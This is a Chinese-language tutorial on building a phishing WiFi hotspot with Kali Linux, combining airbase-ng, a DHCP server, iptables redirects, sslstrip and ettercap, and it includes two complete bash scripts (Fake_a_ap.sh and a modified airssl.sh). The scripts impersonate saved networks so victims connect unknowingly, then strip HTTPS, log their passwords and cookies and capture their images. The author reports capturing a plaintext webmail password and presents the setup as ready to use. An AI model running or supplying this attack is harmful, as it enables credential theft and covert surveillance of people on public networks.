钓鱼WIFI搭建
1、无线网卡
2、KaliLinux操作系统,这里就不用说了,必备的
3、isc-dhcp-server服务器。安装好KaliLinux后只需要apt-get update 然后apt-get install isc-dhcp-server即可
4、Aircrack-ng套件 #用来发送数据
5、sslstrip 用来突破SSL加密
6、ettercap 用来嗅探劫持
后面三个软件KaliLinux都自带有,不用安装即可。
首先强调下,后面的bash脚本适用于使用isc-dhcp-server这个bash脚本,建立钓鱼热点。
安装dhcp服务
apt-get install isc-dhcp-server
配置文件分别在/etc/default/isc-dhcp-server和/etc/dhcp/dhcpd.conf,前者可以配置监听端口,这里以wlan0为例
配置dhcp文件后,断开wlan0的网络,分配一个ip
ifconfig wlan0 192.168.1.2/24
启动dhcp服务
/etc/init.d/isc-dhcp-server start 或者
service isc-dhcp-server start
建立热点:
将下文写好的airssl.sh添加执行权限
bash airssl.sh
然后分别是AP建立,DHCP建立,sslstrip开启,ettercap开启。
这里再介绍一种方法,是使用 airbase-ng + dhcpd 创建虚拟WiFi热点;顺便使用 sslstrip+ettercap 进行中间人攻击,嗅探使用者的上网信息和劫持cookie!
所需要的软件如下;kali-linux都已经自带了,其他的系统可以自行安装:
Aircrack-ng 套件 #用来发送数据
isc-dhcp-server #简单的dhcp服务器
sslstrip #突破ssl加密
ettercap #嗅探劫持
leaf /etc/dhcp/dhcpd.conf 编辑dhcp服务器配置文件,修改如下:
authoritative;
default-lease-time 700;
max-lease-time 8000;
subnet 10.0.0.0 netmask 255.255.255.0 {
option routers 10.0.0.1;
option subnet-mask 255.255.255.0;
option domain-name "FreeWiFi";
option domain-name-servers 10.0.0.1;
range 10.0.0.10 10.0.0.100;
}
然后激活网卡至监听模式:
airmon-ng start wlan0
airbase-ng -e FreeWiFi -c 6 mon0
此时虚拟wifi的信号已经发送出去了,如果出现错误:
Error: Got channel -1, expected a value > 0.
执行如下命令:
airmon-ng stop mon0
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
然后从激活网卡至监听模式那里重新开始。
接着执行如下命令:
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
/etc/init.d/isc-dhcp-server start
虚拟WiFir热点创建成功,接下来就是嗅探欺骗钓鱼了:
sslstrip -fpk 10000
ettercap -Tpuqi at0
然后就等着鱼儿上钩吧!
手机上测试了下,网易邮箱直接明文密码:
百度使用了加密:
写了一个脚本,修改成自己的设置每次执行就ok了:
复制下面代码,保存为 “Fake_a_ap.sh”,然后 chmod +x Fake_a_ap.sh && ./Fake_a_ap.sh
#!/bin/sh
echo "即将创建WiFi热点,请确保dhcpd.conf已经配置好!" &
sleep 5
ifconfig wlan0 down #wlan0修改成你的网卡
iwconfig wlan0 mode monitor
ifconfig wlan0 up
airmon-ng start wlan0 &
sleep 5
airbase-ng -e FreeWiFi -c 6 mon0 & #修改成自己的热点名称和信道
sleep 5
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables --flush && iptables --table nat --flush && iptables --table nat --flush && iptables --table nat --delete-chain &
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
sleep 2
/etc/init.d/isc-dhcp-server start &
sleep 5
sslstrip -fpk 10000 &
ettercap -puTqi at0
代码如下:
#!/bin/bash # 修改版,原版信息如下: ######################################################## # ©opyright 2009 - killadaninja - Modified G60Jon 2010 # airssl.sh - v1.0 # visit the man page NEW SCRIPT Capturing Passwords With sslstrip AIRSSL.sh ######################################################## # Network questions echo "AIRSSL_KALI" echo "修该版本,适用于kali或者使用isc-dhcp-server的环境,原版信息如下:" echo "AIRSSL 2.0 - Credits killadaninja & G60Jon " echo "仅供学习用途" echo route -n -A inet | grep UG echo "DNS服务器.例如8.8.8.8: " read -e dnsip echo "网关地址.例如192.168.0.1:" read -e gatewayip echo "接入internet的接口.例如eth1: " read -e internet_interface echo "用于建立AP的接口.例如wlan0: " read -e fakeap_interface echo "AP的ESSID: " read -e ESSID airmon-ng start $fakeap_interface fakeap=$fakeap_interface fakeap_interface="mon0" # Dhcpd creation mkdir -p "/pentest/wireless/airssl" cp /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpd.conf.bak cp /etc/default/isc-dhcp-server /etc/default/isc-dhcp-server.bak echo "ddns-update-style none; default-lease-time 600; max-lease-time 7200; authoritative; log-facility local7; ">/etc/dhcp/dhcpd.conf echo -n "subnet 192.168.0.0 netmask 255.255.255.0 { range 192.168.0.100 192.168.0.200; option domain-name-servers ">>/etc/dhcp/dhcpd.conf echo -n $dnsip>>/etc/dhcp/dhcpd.conf echo -n "; # option domain-name "internal.example.org"; option routers ">>/etc/dhcp/dhcpd.conf echo -n $gatewayip>>/etc/dhcp/dhcpd.conf echo -n "; option broadcast-address 192.168.0.255; default-lease-time 600; max-lease-time 7200; }" >> /etc/dhcp/dhcpd.conf echo " DHCPD_CONF=/etc/dhcp/dhcpd.conf DHCPD_PID=/var/run/dhcpd.pid INTERFACES="at0" ">/etc/default/isc-dhcp-server # Fake ap setup echo "[+] Configuring FakeAP...." echo echo "Airbase-ng will run in its most basic mode, would you like to configure any extra switches? " echo echo "Choose Y to see airbase-ng help and add switches. " echo "Choose N to run airbase-ng in basic mode with your choosen ESSID. " echo "Choose A to run airbase-ng in respond to all probes mode (in this mode your choosen ESSID is not used, but instead airbase-ng responds to all incoming probes), providing victims have auto connect feature on in their wireless settings (MOST DO), airbase-ng will imitate said saved networks and slave will connect to us, likely unknowingly. PLEASE USE THIS OPTION RESPONSIBLY. " echo "Y, N or A " read ANSWER if [ $ANSWER = "y" ] ; then airbase-ng --help fi if [ $ANSWER = "y" ] ; then echo echo -n "Enter switches, note you have already chosen an ESSID -e this cannot be redefined, also in this mode you MUST define a channel " read -e aswitch echo echo "[+] Starting FakeAP..." xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng "$aswitch" -e "$ESSID" $fakeap_interface & fakeapid=$! sleep 2 fi if [ $ANSWER = "a" ] ; then echo echo "[+] Starting FakeAP..." xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng -P -C 30 $fakeap_interface & fakeapid=$! sleep 2 fi if [ $ANSWER = "n" ] ; then echo echo "[+] Starting FakeAP..." xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng -c 1 -e "$ESSID" $fakeap_interface & fakeapid=$! sleep 2 fi # Tables echo "[+] Configuring forwarding tables..." ifconfig lo up ifconfig at0 up & sleep 1 ifconfig at0 $gatewayip netmask 255.255.255.0 ifconfig at0 mtu 1400 route add -net 192.168.0.0 netmask 255.255.255.0 gw $gatewayip iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A PREROUTING -p udp -j DNAT --to $gatewayip iptables -P FORWARD ACCEPT iptables --append FORWARD --in-interface at0 -j ACCEPT iptables --table nat --append POSTROUTING --out-interface $internet_interface -j MASQUERADE iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 # DHCP echo "[+] Setting up DHCP..." #touch /var/run/dhcpd.pid #chown dhcpd:dhcpd /var/run/dhcpd.pid #xterm -geometry 75x20+1+100 -T DHCP -e dhcpd3 -d -f -cf "/pentest/wireless/airssl/dhcpd.conf" at0 & dchpid=$! #sleep 3 /etc/init.d/isc-dhcp-server start # Sslstrip echo "[+] Starting sslstrip..." xterm -geometry 75x15+1+200 -T sslstrip -e sslstrip -f -p -k 10000 & sslstripid=$! sleep 2 # Ettercap echo "[+] Configuring ettercap..." echo echo "Ettercap will run in its most basic mode, would you like to configure any extra switches for example to load plugins or filters, (advanced users only), if you are unsure choose N " echo "Y or N " read ETTER if [ $ETTER = "y" ] ; then ettercap --help fi if [ $ETTER = "y" ] ; then echo -n "Interface type is set you CANNOT use "\"interface type\"" switches here For the sake of airssl, ettercap WILL USE -u and -p so you are advised NOT to use -M, also -i is already set and CANNOT be redifined here. Ettercaps output will be saved to /pentest/wireless/airssl/passwords DO NOT use the -w switch, also if you enter no switches here ettercap will fail " echo read "eswitch" echo "[+] Starting ettercap..." xterm -geometry 73x25+1+300 -T ettercap -s -sb -si +sk -sl 5000 -e ettercap -p -u "$eswitch" -T -q -i at0 & ettercapid=$! sleep 1 fi if [ $ETTER = "n" ] ; then echo echo "[+] Starting ettercap..." xterm -geometry 73x25+1+300 -T ettercap -s -sb -si +sk -sl 5000 -e ettercap -p -u -T -q -w /pentest/wireless/airssl/passwords -i at0 & ettercapid=$! sleep 1 fi # Driftnet echo echo "[+] Driftnet?" echo echo "Would you also like to start driftnet to capture the victims images, (this may make the network a little slower), " echo "Y or N " read DRIFT if [ $DRIFT = "y" ] ; then mkdir -p "/pentest/wireless/airssl/driftnetdata" echo "[+] Starting driftnet..." driftnet -i $internet_interface -p -d /pentest/wireless/airssl/driftnetdata & dritnetid=$! sleep 3 fi xterm -geometry 75x15+1+600 -T SSLStrip-Log -e tail -f sslstrip.log & sslstriplogid=$! clear echo echo "[+] Activated..." echo "Airssl is now running, after slave connects and surfs their credentials will be displayed in ettercap. You may use right/left mouse buttons to scroll up/down ettercaps xterm shell, ettercap will also save its output to /pentest/wireless/airssl/passwords unless you stated otherwise. Driftnet images will be saved to /pentest/wireless/airssl/driftftnetdata " echo echo "[+] IMPORTANT..." echo "使用完毕请键入Y恢复系统配置,否则可能会出现问题!" read WISH # Clean up if [ $WISH = "y" ] ; then echo echo "[+] Cleaning up airssl and resetting iptables..." kill ${fakeapid} kill ${dchpid} kill ${sslstripid} kill ${ettercapid} kill ${dritnetid} kill ${sslstriplogid} airmon-ng stop $fakeap_interface airmon-ng stop $fakeap echo "0" > /proc/sys/net/ipv4/ip_forward iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain mv /etc/default/isc-dhcp-server.bak /etc/default/isc-dhcp-server mv /etc/dhcp/dhcpd.conf.bak /etc/dhcp/dhcpd.conf /etc/init.d/isc-dhcp-server stop echo "[+] Clean up successful..." echo "[+] Thank you for using airssl, Good Bye..." exit fi exit